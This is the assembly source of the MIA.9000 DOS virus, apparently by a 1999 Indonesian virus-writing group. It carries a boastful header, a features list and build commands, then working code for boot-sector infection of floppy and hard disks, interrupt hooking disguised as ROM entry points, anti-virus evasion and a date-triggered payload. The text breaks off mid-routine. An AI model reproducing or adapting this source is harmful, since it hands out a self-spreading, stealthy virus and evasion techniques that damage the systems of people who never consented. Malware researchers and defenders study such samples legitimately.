 Comment ˙                                                        [DIVA] 1999
                      * SOURCE FILE OF MIA.9000 VIRUS *
   ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  ŻŪ     WARNING: DISTRIBUTION OF THIS FILE IS (not) VERY ILLEGAL!!     ŪŽ
 ³ŻŪ                                                    ŪŽ³
 ³ŻŪ                  ŚÄÄÄÄÄÄÄÄÄæŚÄæŚÄÄÄÄÄæ                   ŪŽ³
 ³ŻŪ                  ³ŪŪŪŪŪŪŪŪŪ³³Ū³³ŪŪŪŪŪ³                   ŪŽ³
 ³ŻŪ                  ³ŪŚÄæŪŚÄæŪ³³Ū³³ŪŚÄæŪ³                   ŪŽ³
 ³ŻŪ                  ³Ū³ ĄÄŁ ³Ū³³Ū³³ŪĄÄŁŪ³                   ŪŽ³
 ³ŻŪ                  ³Ū³   ³Ū³³Ū³³ŪŪŪŪŪ³                   ŪŽ³
 ³ŻŪ                  ³Ū³    ³Ū³³Ū³³ŪŚÄæŪ³                   ŪŽ³
 ³ŻŪ                  ³Ū³   ³Ū³³Ū³³Ū³ ³Ū³                   ŪŽ³
 ³ŻŪ                  ĄÄŁ    ĄÄŁĄÄŁĄÄŁ ĄÄŁ                   ŪŽ³
 ³ŻŪ                                                     ŪŽ³
  ŻŪ     (P) & (C) 1999 Fulvian/DIVA, Fully registered to: Mia W.     ŪŽ
   ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
                             D I S C L A I M E R:
           FULVIAN IS FULLY RESPONSIBLE FOR ANY PROBLEM THAT OCCURS
    WHICH IS DUE TO ASSEMBLING THIS FILE IN MIA'S PC, BUT NOT IN YOUR PCs! 
      PLEASE EXECUTE THE COMPILED VERSION IN CAREFULLY-CONTROLLED SYSTEM   
                  AND ONLY IF YOU KNOW WHAT YOU ARE DOING!!!               































 IF YA FEEL YOU'RE ANTI-ASIAN, PLEASE STOP READING NOW AND DELETE THIS FILE!!
   < Digital Indonesian Vx Authors [DIVA], the city of Malang - Indonesia >

                 *** The codes in this source are 16-bit! ***
          if You think You can find 32-bit stuff here, You're wrong!

                             
                            

































     DIVA comes out crawling from the ruins of the past, believe it or not
     It wears the same old face everyone thought was dead and gone forever
                              buried by the time.

     It comes up screaming from the ashes of the grave, to make this world
                                a battle field.

     It's got a voice that steals the courage from the brave, and leaves a
                             scar that won't heal.

     Unholy alliance, unholy alliance, don't fight it, You just can't win!




























 Virus name       : MIA.9000 (the best variant of IRMA.9000)
 Aliases/a.k.a.   : DIE_HARD_3.B, FATAL_ILLUSION_2.B, MATRIX.9000.B
 Version          : 1.30
 Type             : Not dangerous, resident, multi-partite, and stealth 
 Environment      : DOS
 Author           : Fulvian/DIVA
 Origin           : Indonesia
 Dedication       : Mia W.
 Creation date    : ??-??-1999
 Creation time    : ??:??:?? GMT
 Creation place   : Da house of mine, home sweet home... 8-)
 Compiler/linker  : Turbo Assembler v5.00/Turbo Link v7.1.30.1
 Compiling command: TASM /m /zn MIA.ASM or TASM32 /m /zn MIA.ASM
 Linking command  : TLINK /x /ye /yx MIA.OBJ
 Objectives       : FD/HD BOOT, .ARJ, .BIN, .COM, .EXE, .LHA, .LZH, .PAK, .RAR
 BRs infection    : Replacement (cleanable)
 Files infection  ; Appending (cleanable)
 Features         : + Memory-transient (under DOS)
                    + Quick-polymorphic (and oligomorphic)
                    + Fully stealthy (under DOS)
                    + Direct IDE HD write capability
                    + Indirect interrupts hook (tunneling tech also used)
                    + Warm reboot survival (if HD present, and BIOS is Award?)
                    + Some retros for TBAV utilities
                    + Very contagious
 Bugs/drawbacks   : - Works improperly under Microsoft Windows (tm) 8-(
                    - Does not install internal stack
                    - May have some problems with DESQview
                    - Does not recognize LE/LX/NE/PE/W3 during .EXE infection
                    - Infects .EXE files that have internal overlays anyhow
                    - No FCB stealth routines (except for directory entry)
                    - Droppers in archives have the same size
                    - Sometimes causes crosslinks?
                    - ... and many more... ;-( (mail to: fulvian@usa.net)
 Greets/scorns    : + Mia W. (I love You, I mind You, I need You, I want You)
                    + DIVA members (Viva forever! You're irksome lazybones!!)
                    + Ralf Brown (Wow! excellent interrupt listing!)
                    + 29A guys (I adore You, smart ones)
                    + Lord Julus (I hate Your math lessons)
                    + Int13h (How's Paraguay? Paraguayos Republicao Muerte...)
                    + Assembler Head (Don't humble Your abilities)
                    + Sepultura Aussie & other IRs (April fool sucks!!)
                    + AVM, KompuTEK, K-Elektronik, Hackerlink (Shut Your beaks!)
                    + And all virus-related people in the world (Hello!!)










˙




















        Title MIA is in the stardom, goin' worlwide, and indisputable!!












P286                           ; Required processor: Intel 80286+


 .errndef ??version "Borland Turbo Assembler is recommended!!"

If ??version lt 0200h          ; Check Turbo Assembler version, must be
 .err  "Need version 2.00+"    ; version 2.00 or newer
Endif

If (VirLen - Mutant) gt (Loader * 200h)
 .err  "Need one more sector!"
Endif

If ParSiz gt (Memory * 40h)
 .err  "Lack of memory on booting!"
Endif

setalc Macro
 db     0D6h                   ; Macro for (undocumented) SETALC opcode
EndM

Display "Mia, why were You misunderstood? just try to conceive a like for Me!"

Baby Segment Para Byte 'Fulvian' Public 'DIVA' Use16
     Assume cs:Baby, ss:Baby
     Org 0000h                 

Mutant  equ  019Ch             ; Maximum size of file decryptor (412 bytes)
Loader  equ    11h             ; Virus length in sectors (17 sectors)
Memory  equ  000Ah             ; Memory page needed on booting (10 KB)
VirVxD  equ  0028h             ; Dropper's host size (40 bytes)
VirLen  equ  offset VirEnd - offset VirBeg
VirZon  equ  offset Slack - offset VirBeg
VirPar  equ  (((offset Slack + 200h) - offset VirBeg) + 0Fh) / 10h 
ParSiz  equ  VirPar + 01h

VirBeg  label word
                               ; On booting, MIA receives control from
 cld                           ; infected boot-record that reads the whole
 jmp    short BootStrap        ; body and brings control to here

Buffy:
                 dw     0A6B3h ; Hmmm, this must be an .EXE signature, but...
                 dw      0000h ; Remainder of 512 bytes page
                 dw      00F7h ; Number of 512 bytes pages to hold the file (include header)
                 dw      0000h ; Number of relocation table entries (?)
                 dw      00FEh ; Header size in paragraph 
                 dw      0101h ; Minimum paragraphs of memory needed
                 dw      0101h ; Maximum paragraphs of memory needed
                 dw      0000h ; Segment displacement of stack module
                 dw     0D9F0h ; Initial Stack Pointer
                 dw      0000h ; .EXE's negative checksum
                 dw     0D9F0h ; Initial Instruction Pointer
                 dw      0000h ; Segment displacement of code module
F_Off            dd  9D80233Ah ; Saved file's Segment:Offset
DOS_Disk         dd  007003EEh ; Original DOS I/O handler
DOS_Floppy       dd 0F000EC59h ; Diskette I/O handler
Old_Tracer       dd  00700465h ; Single-step interrupt handler
Clock_Tick       db       0FDh ; Counter?
SFT_Off          dw      0000h ; Current SFT offset
                 dw      0000h ; Current SFT segment
LowPos           dw      0000h ; (Relative)
HiPos            dw      0000h ; (Relative)
LowSiz           dw      0000h ; (Relative)
HiSiz            dw      0000h ; (Relative)
ReadOff          dw      0000h ; (Relative)
R_Bytes          dw      0000h ; (Relative)
Pointer          db        00h ; Pointer to decryptor building
Resultant        db        00h ; Register pointer used in decryptor (SI/DI)
Displacement     db        00h ; Memory reference displacement for decryptor
Direction        db        00h ; Direction of decryptor (i.e. forward/backward)
Overdrive        db        00h ; Random byte indicates register for decryptor
Deathblow        db        00h ; Maximum number of stack "crasher"
                 db        00h ; (Unused?)
Stuff_01         db        00h ; (Relative)
                 db        00h ; (Unused?)
Stuff_02         dw      0000h ; (Relative)
Old_Time         dw      0000h ; File's time stamp
Old_Date         dw      0000h ; File's date stamp


BootStrap:
 call   Buffy                  ; Decrypting...

Start:
 push   ss
 test   dl,dl                  ; Booting from FD or HD ?
 mov    si,bx                  ; BX = SI = boot delta offset
 pop    ds
 mov    ds:[bx + Condition],0EBh
 jns    Forfeit                ; Branch if FD
 mov    al,10h
 out    70h,al                 ; CMOS RAM index 10h = floppy drive type
 out    0EBh,al
 in     al,71h
 or     al,al                  ; FDD was not present?
 jnz    Forfeit
 db     0B8h

Spot    db 14h,00h             ; MOV AX,0014h

 xor    ds:[si + Condition],0D7h
 mov    ds:[048Fh],al          ; Restore disk controller information (bugfix
 call   Enable_FDD             ; for MAMMOTH.6000 virus??)
 mov    ds:byte ptr [04CCh],90h


;ÄÄÄÄÄÄÄÄÄÄÄÄ[ Corrupts conventional memory and build hide-out ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; BIOS stores the amount of conventional memory (in KB) at 0040h:0013h, so as
; to allocate memory for MIA on bootup process, subtract the needed size from
; that word, but just because that word's in chunks of 1KB, the size of virus
; block must be rounded up,  this will create  an unused  gap in  DOS  memory
; chain later on,  to solve this problem,  MIA creates a free MCB  just below
; the virus block, this is the difference between  block  allocated on bootup
; process and MCB allocated after DOS loading process.
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ


Forfeit:
 push   offset Dualmorphic
 sub    ds:word ptr [0413h],Memory
 int    12h                    ; Get corrupted conventional memory size
 push   si
 ror    ax,0Ah                 ; Convert it into segment
 xor    di,di                  
 mov    ds,ax
 mov    ds:byte ptr [di],4Dh   ; 'M' - DOS MCB signature
 mov    ds:[di + 01h],di       ; Indicate a free block
 mov    ds:word ptr [di + 03h],((Memory * 40h) - VirPar) - 02h
 add    ax,(Memory * 40h) - VirPar
 mov    cx,(Loader * 100h)     ; All words that have been read by boot-launcher
 push   cx
 mov    es,ax
 push   ax
 mov    cs:byte ptr [si + Black_Hole + 01h],0E8h
 push   offset Furbish
 repe   movs es:word ptr [di],ss:[si]
 lds    dx,cs:[004Ch]          ; Get INT 13h vector into DS:DX
 retf

Furbish:
 cli                           ; Disable interrupts
 xchg   ax,cx                  ; AX = zero
 pop    cx di                  ; CX = number of words read by boot-launcher
 mov    es,ax                  ; DI = delta offset
 repe   stosw                  ; Wipe out all traces (ain't this necessary?)
 push   cs
 inc    ch
 mov    di,0200h               ; Clear the vector of last 128 interrupts
 repe   stosw                  ; 'cause some BIOSes set SS:SP to 0000h:0400h
 pop    es                     ; on booting, and does not clear it before passing
                               ; control to boot-record

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Main interrupts hooking ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


Uppercore:
 push   ds es
 pop    ds                     
 call   Rand16
 mov    ax,0C02Ah              ; Opcode AX = SUB AL,AL ÄÄÄ AL=00
 jnp    Jived
 mov    al,32h                 ; Opcode AX = XOR AL,AL ÄÄÄ AL=00
 js     Jived
 mov    ax,0D6F8h              ; Opcode AX = CLC + SETALC ÄÄÄ AL=00
 jnc    Jived
 mov    ax,00B0h               ; Opcode AX = MOV AL,00 ÄÄÄ AL=00
 jz     Jived
 sub    al,8Ch                 ; Opcode AX = AND AL,00 ÄÄÄ AL=00

Jived:
 mov    di,offset Replacement  ; INT 24h handler buffer
 stosw
 mov    al,0CFh                ; IRET opcode
 stosb
                               ; Set up some stuff...
 mov    ds:byte ptr [Purport],0EBh
 mov    ds:byte ptr [Rapidformat],0A8h
 mov    ds:word ptr [ROM_BIOS],dx
 pop    ds:word ptr [ROM_BIOS + 02h]
 mov    ds:byte ptr [VirEnd],0EAh

 mov    al,18h
 mov    dx,offset Transpire    ; Install "new" INT 18h
 call   Vectorize
 push   es
 mov    bx,04F0h               ; (0000h:04F0h) intra-application communication area
 mov    ds:byte ptr [bx],9Ah   ; Far CALL opcode
 mov    ds:word ptr [bx + 01h],offset Biform
 mov    ds:[bx + 03h],es       ; This will be far CALL to viral INT 40h handler
 cmp    al,ds:[bx - 7Bh]       ; Check number of installed HD
 xchg   ds:[0100h],bx          ; Swap INT 40h vector
 xchg   ds:[0102h],ax
 pop    ds
 jb     Present                ; Jump if there's one or more...
 mov    ax,ds:word ptr [ROM_BIOS + 02h]
 mov    bx,ds:word ptr [ROM_BIOS]

Present:
 mov    ds:word ptr [Flop_BIOS],bx
 mov    ds:word ptr [Flop_BIOS + 02h],ax


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; Seeks an interrupt instruction (CD ??) in ROM to be used as a fake  INT 13h 
; so all anti-viruses that monitor the vector of INT 13h will notify that the
; INT 13h vector still points out to a location in ROM ('cause the segment is
; C000h/F000h), only the offset differs. it'll look like the ROM entry point.
; MIA seeks the INT  number in range [78h..0FFh] to avoid interrupt conflicts
; (assume the interrupts in that range are not in use), points the INT to the
; viral INT 13h handler and then set the INT 13h offset. what anti-viruses do
; on booting is comparing the disk interrupt handler's segment with C000h, if
; below, they assume that the handler is located in RAM (it means that a boot
; virus was installed and is currently active). User will be alarmed for that
; and MIA ain't gonna like it, 8-)
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ


 mov    ax,0F000h              ; AT ROM segment

Seek_XT:
 mov    es,ax
 cbw                           ; AH = zero
 mov    si,ax                  ; SI = zero
 mov    ds:[Interstice],00CDh  ; Put INT 00h opcode
 mov    ds:[Fake_ROM],al

SearchVector:
 db     26h                    ; ES: prefix
 lodsb
 and    si,si                  ; SI = zero?
 jnz    FoundVector            ; Jump if not
 mov    ax,0C000h              ; Try VROM segment, 8-)
 mov    cx,es
 cmp    ax,cx                  ; Not found at all?
 jne    Seek_XT
 mov    si,offset Black_Hole   ; Uh yeah, use old trick...
 push   ds
 pop    es
 jmp    short Fling

FoundVector:
 cmp    al,0CDh                ; INT opcode?
 jne    SearchVector           ; Nope, so seek again
 db     26h                    ; ES:
 lodsb                         ; Load [SI] into AL
 cmp    al,77h                 ; MIA will only use the last 136 interrupts
 jna    SearchVector
 mov    ds:[Fake_ROM],al       ; Save fake ROM interrupt
 dec    si
 dec    si                     ; Now ES:[SI] points at an INT instruction
 mov    dx,offset Dualform     ; Then MIA sets the vector of that INT
 push   ds
 call   Vectorize              ; Hook fake ROM INT 13h
 pop    ds

Fling:
 call   FreeVector             ; Obtain one of last 136 INTs randomly in AL
 push   si es
 mov    dx,offset Trapper      ; DX holds MIA's INT 21h handler
 mov    ds:byte ptr [Interstice + 01h],al
 call   Vectorize              ; Hook INT 21h redirector
 pop    ds dx
 ret


                       SubTtl Abiistis, dulces caricae!


Dualmorphic:
 push   cs
 mov    al,13h
 call   Vectorize              ; Swap INT 13h now
 pop    ds
 call   FreeVector             ; Obtain random interrupt in AL
 mov    ah,0CDh                ; INT opcode
 push   ax
 mov    dx,offset Survive
 call   Vectorize              ; Set its vector
 pop    ax
 xchg   al,ah
 mov    ds:[04EEh],ax          ; (0000h:04EEh) INT ??
 mov    al,09h
 mov    dx,04EEh               ; So INT 09h points at 0000h:04EEh
 call   Vectorize
 mov    cs:word ptr [Keyboard],dx
 mov    cs:word ptr [Keyboard + 02h],cx

 push   ax
 mov    di,0084h
 mov    es,ax
 stosw                         ; Clear INT 21h vector
 stosw
 mov    dl,80h                 ; Reset both FD & HD
 sti                           ; Enable interrupts
 int    13h
 mov    ax,0201h
 mov    bx,7C00h               ; Now all that's left is original boot-record
 push   bx                     ; execution

Condition equ byte ptr $

 jmp    short Hike             ; (Relative) not a bug!!
 push   ax
 mov    cx,0001h
 cwd                           ; Now boot from FD (maybe there's a disk in FDD)
 int    40h                    ; So even if the FD ain't infected yet, 
 pop    ax                     ; MIA's already resident in memory!!
 jnc    Payload                 ; I say a prayer that CF is not set here, 8-)

Hike:                          ; Here we load original boot-record of this disk
 mov    cx,ds:[7C3Bh]          ; 'cause MIA doesn't want the partition
 mov    dh,ds:[7C3Dh]          ; code to be executed twice (by passing control
 mov    dl,ds:[7C24h]          ; to BIOS BootStrap loader)
 int    13h


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ This is the payload: display colourful string ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; Here You go, MIA's payload,  it will be triggered on January 1st,  February
; 19th, August 17th, September 6th, December 25th when computer's booted from
; infected boot-record. Don't You hope this is a kinda destructive code, what
; it does is just displaying a message on the middle of screen then waits for
; user keystroke  and while waiting, the colour of text is changed on and on,
; blinks Num, Caps, and Scroll lock status,  speaker sound is also generated.
; Not very smart, 8-(, anyhow it will entertain some lamers... 8-)
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ


Payload:
 mov    ax,0F00h               ; ???
 int    1Ah
 mov    ah,04h                 
 push   dx                     ; Save boot drive number (is this necessary?)
 int    1Ah                    ; Get real-time clock date
 xchg   dx,ax                  ; ??
 add    ax,0FEFFh              ; Is today first day in year? (January, 1st)
 jz     Activate               ; Yup, time to pay back
 cmp    ax,0118h               ; Mia's birthday? (February, 19th)
 je     Activate               ; Oh, yes baby!!
 cmp    ax,0716h               ; Is today Indonesia's independence day?
 je     Activate               ; Why not? 8-)
 cmp    ax,0805h               ; or is it My birthday? (September, 6th)
 je     Activate               ; Yeah, ho ho ho...
 sub    ax,1124h               ; December, 25th?
 jnz    Bootload               ; Nope, let it go...
                               ; Merry x-mas! don't forget to go to Church! 8-)
Activate:
 mov    ah,0Fh                 ; BIOS video function AH=0Fh, get current video
 int    10h                    ; mode
 push   ax
 mov    ax,0003h               ; Set up video mode 3
 int    10h
 mov    ah,01h                 ; INT 10h AH=01h, set cursor text-mode shape
 mov    cx,0100h               ; CH = cursor start and option
 int    10h                    ; "Hide the cursor"

 mov    si,0417h
 mov    di,ds:[si]             ; Get keyboard status flags 1 & 2
 call   Scramble               ; Decrypt some bytes
 push   cs
 mov    dx,0B07h               ; Begin at row 11, column 7 (zero-based)
 mov    bp,offset Note         ; ES:[BP] = offset of message to display
 pop    es

Restart:
 sub    bl,bl                  ; BL = characters' attributes

Draw:
 inc    bx                     ; Change colour each loop
 test   bl,0F0h                ; Use attribute [01h..0Fh]
 jnz    Restart
 xor    ds:byte ptr [si],10h   ; Toggle Scroll Lock status
 call   Sound
 mov    ah,13h                 ; BIOS video function AH=13h, write string ES:BP
 xor    ds:byte ptr [si],20h   ; Toggle Num Lock status
 mov    cl,offset Insult - offset Note
 int    10h                    ; CX = size of message in bytes
 xor    ds:byte ptr [si],40h   ; Toggle Caps Lock status
 call   Sound
 inc    ah
 int    16h                    ; Check whether there's a keyboard keystroke or
 jz     Draw                   ; not, loop if not.
 mov    ds:[si],di             ; Restore keyboard status flags 1 & 2
 mov    ax,1300h               ; AL = 00h, cursor won't be updated 
 mov    cl,offset Sound - offset Insult
 mov    dx,0D1Fh               ; Row 13, column 31 (zero-based)
 mov    bp,offset Insult       ; Display another string, 8-)
 int    10h
 call   Scramble               ; Re-encrypt some bytes
 int    05h                    ; Dump screen text to first printer
 stc
 sbb    bp,bp                  ; BP = FFFFh

Waste:
 mov    ah,01h
 int    13h
 call   Delay
 mov    ah,01h                 ; I'd rather spend My time with Mia than do
 int    16h                    ; this silly delay, 8-)
 dec    bp                     
 jnz    Waste                  
 pop    ax
 xor    ah,ah                  ; Restore video mode
 int    10h

Bootload:
 pop    dx                     ; Restore boot drive number.
 retf                          ; (0000h:7C00h)

FreeVector:
 mov    ax,0088h               ; 136 possible interrupts to use
 call   Ranger                 ; Random interrupt for INT 09h redirector
 add    al,78h                 ; 77h < ?? 
 cmp    al,ds:[Fake_ROM]
 je     FreeVector
 cmp    al,ds:byte ptr [Interstice + 01h]
 je     FreeVector
 mov    ds:[Button],al         ; This is needed only by INT 09h
 ret


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Interrupt 13h handler ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


Dualform:
 sub    sp,0FFFAh

Black_Hole:
 pushf                         ; Store flags state
 call   Strategy
 cmp    dl,80h                 ; This is only for primary hard disk!
 ja     Idle
 jb     Malfunction
 cmp    ah,01h                 ; Read function?
 jna    Idle
 cmp    ah,04h                 ; Write function?
 jb     Purport
 cmp    ah,05h                 ; Format function?
 je     Signify
 cmp    ah,09h                 ; Read long sector(s)?
 jna    Idle
 cmp    ah,0Ch                 ; Write long sector(s)?
 jnb    Idle

Purport:
 jmp    short Evilution
 cmp    cx,1234h

Value_5 equ word ptr $ - 02h   ; Cylinder/sector of (infected) HD's active 
                               ; boot-record
 jne    Signify
 cmp    dh,01h                 ; Head of (infected) HD's active boot-record

Value_6 equ byte ptr $ - 01h

 je     Evilution              ; Proceed if it's accessed

Signify:
 test   ch,ch                  ; if not, do some checks again
 jnz    Idle                   ; Accessing cylinder 0 ?
 or     dh,dh                  ; and head 0 ?
 jz     Evilution              

Idle:
 popf
 jmp    Slick                  ; Pass control to INT 13h handler


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Interrupt 40h handler ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


Biform:
 add    sp,0004h
 pushf

Malfunction:
 cmp    ah,02h                 ; Reading...?
 je     Investigation
 cmp    ah,03h                 ; Writing...?
 je     Investigation
 cmp    ah,05h                 ; Formatting...?
 jne    Needless

Investigation:
 or     ch,ch                  ; First track of FD ?
 jz     Evilution              
 cmp    ch,50h                 ; or track 80 ?
 je     Evilution              

Needless:
 popf
 jmp    Into_Disk              ; Bring control to original INT 40h handler

Evilution:
 cld                           ; Don't confuse direction
 call   Flip                   ; Push all registers
 push   ss:word ptr [bp + 18h] ; Push interrupt caller's flags
 mov    al,15h                 ; Set INT 15h during process to point at viral
 mov    cx,cs                  ; INT 15h handler so that no message like
 mov    dx,offset Disk_IO      ; "A disk is accessed via an unusual way ...
 pop    ss:word ptr [bp + 12h] ; blah, blah, blah, beep ..." from TbDisk
 call   Revector               ; he he he... MIA rules.....!!
 xor    ds:word ptr [04F0h],0370h
 push   cs
 pop    ds
 mov    ds:word ptr [Decryptor],dx
 mov    ds:word ptr [Decryptor + 02h],cx
 xor    ds:word ptr [Dualform + 01h],0FC28h
 push   ds
 pop    es
 mov    bx,offset Slack        ; to buffer at ES:[BX]
 mov    cx,0001h               ; Track 0, sector 1
 mov    dl,ss:[bp + 0Ah]       ; Get DL value from stack
 mov    dh,ch                  ; Head (side) 0
 cmp    ss:[bp + 10h],cl       ; Test whether AL = zero on entry...
 jb     Morbid

ReadZero:
 mov    ax,0201h               ; Read single sector
 int    18h
 jnc    Successful
 cmp    ah,06h                 ; Disk was replaced?
 je     ReadZero               ; Yes, so try again...

Morbid:
 xor    ds:word ptr [Biform + 01h],0F828h
 call   Flop                   ; Restore all registers
 push   cs                     ; Do original interrupt request, MIA
 call   Recognize              ; does this way to avoid some problems with
 pushf                         ; TbDisk, 8-S
 call   Flip

Final:
 call   Restorage              ; Restore INT 15h
 call   Flop
 jmp    Achieve                ; Go back to interrupt caller (keep flags intact)


                    SubTtl Absit ut grolier nisi in cruce!


Successful:
 cmp    ds:word ptr [Slack + 1FEh],0AA55h
 jne    Morbid
 or     dl,dl                  ; Floppy or fixed disk?
 jns    ViralScan              ; Jump if floppy disk
 mov    ds:byte ptr [Purport],3Ch
 mov    ds:[Value_5],cx        ; Save C/H/S location of MBR
 mov    ds:[Value_6],dh
 mov    cl,04h                 ; Check four primary partition entries
 mov    si,offset Slack + 1AFh         

Partitor:                      ; Scan MBR for active partition...
 add    si,000Fh               ; Each entry contains 16 bytes field
 lodsb
 cmp    al,80h                 ; Bootable partition?
 loopnz Partitor               ; Nope, check next partition
 jne    Morbid
 mov    cx,0201h
 lodsb                         ; Get number of first head in AL
 mov    dh,al
 mov    ds:[Value_4],al
 mov    ds:[Value_6],al
 lodsw                         ; Get number of first cylinder & sector in AX
 mov    ds:[Value_3],ax        
 mov    ds:[Value_5],ax
 xchg   cx,ax
 int    18h                    ; Read HD's active boot-record
 jc     Morbid                 ; Huh?

ViralScan:                     ; Determine whether boot-record is viral or not
 cmp    ds:byte ptr [bx],0E9h  ; A near JMP ? (infected FD)
 je     Right
 cmp    ds:byte ptr [bx],0FAh  ; or a CLI ? (infected HD)
 jne    Rapidformat

Right:                         ; Is the disk serial number: BABE-FEED ??!?
 cmp    ds:word ptr [bx + 27h],0FEEDh
 jne    Rapidformat
 cmp    ds:word ptr [bx + 29h],0BABEh
 jne    Rapidformat
 jmp    Falseforce

Rapidformat:                   ; Check media descriptor...
 jmp    short Troublesome      ; (Relative) not a bug!!
 cmp    ds:byte ptr [bx + 0Ch],02h
 jb     Troublesome            ; Sector size: 512 bytes? branch if below
 mov    ax,ds:[bx + 18h]       ; Get number of sectors
 and    ax,003Fh               ; Number of sectors mustn't exceed 63
 sub    al,Loader + 01h        ; MIA needs 18 sectors
 jc     Troublesome            ; Too few sectors available?
 cmp    ds:byte ptr [bx + 15h],0F8h
 je     Alright                ; Hard/fixed disk? yes!
 mov    ax,0301h               ; Test whether MIA can write to boot sector...
 int    18h                    ; Is this necessary?
 jc     Troublesome


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; Infects a floppy disk,  this is done  by formatting 18 sectors  on the last
; track of the disk,  (MIA chooses the side and sectors number randomly). The
; last track is not used by DOS so it's safe enough to put virus codes there,
; but  MIA  will still  trap any access to  that track to  prevent  user from
; knowing that MIA hides there - MIA puts original boot-record (encrypted) in
; first formatted sector and main  codes in next 17 sectors, then finally MIA
; will replace boot-record with oligomorphic boot-launcher.
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ


 sub    ax,ax
 mov    ds:[Value_4],al        
 inc    ax                     ; Track 0, side 0, sector 1, this is (of course)
 mov    ds:[Value_3],ax        ; where the floppy boot-record located
                               

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; The format data buffer comprises track X, side X, sector X, and sector size
; (0=128, 1=256, 2=512, 3=1024). To format 18 sectors it needs 18 fields, now
; what MIA does here is setting up side and  sector numbers & building format
; fields  (it seems like MIA does not wanna spend 72 bytes on (stupid!) fixed
; format fields). The fields ain't put above the CS:IP to avoid DMA overcross
; boundary error which (might be) a false error in some BIOSes that will fail
; the formatting process.  Note that some BIOSes return CF=0 after formatting
; but then return CF=1 with AH=04 (sector not found) when we try to read from
; or write to those sectors.
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ


 push   dx
 mov    ax,ds:[bx + 13h]       ; AX = total number of formatted sectors on disk
 test   ax,ax                  ; No formatted sectors??
 jz     Troublesome            ; Jump out
 cwd
 div    ds:word ptr [bx + 18h] ; Divide AX by number of sectors per track to
 dec    dx                     ; get number of total tracks per circle line
 jl     Division               ; Branch if SF and OF states differ
 inc    ax                     ; Increase AX if there's remainder

Division:
 cwd                           ; Convert word into doubleword
 mov    cx,ds:[bx + 1Ah]       ; CX = total number of floppy disk sides
 div    cx
 dec    dx                     ; Test whether DX is zero or not 
 jnge   Bypass                 ; SF <> OF
 inc    ax

Bypass:                        ; So now AX = the highest track number on disk
 pop    dx
 mov    bl,al
 xchg   cx,ax
 call   Ranger                 ; Get random side number in AX
 mov    bh,al
 mov    dh,bh                  ; Save side number in DH, for formatting process

 mov    al,-(Loader + 01h)     ; Choose first sector number randomly
 call   Ranger
 inc    ax                     ; Zero ain't a valid sector number
 xchg   ax,bx
 mov    bh,02h
 mov    cl,Loader + 01h        ; 18 fields format data buffer to build.
 mov    di,offset Buffy        ; DI points fields buffer offset
 push   di

Parameter:                     ; Now build fields buffer for format...
 stosw                         ; Just store number of track and side 
 xchg   ax,bx                  
 stosw                         ; Store sector number and size
 xchg   bx,ax                  ; But sector must be increased each field to
 inc    bx                     ; format contiguous sectors
 loop   Parameter

 mov    ch,al                  ;      CH = track number to format
 mov    ax,0501h + Loader      ;      AL = number of sector to format
 pop    bx                     ; ES:[BX] = segment:offset of fields buffer
 mov    cl,ds:[bx + 02h]       ;      CL = (not needed) for later usage
 int    18h                    ;      DH = side number to format
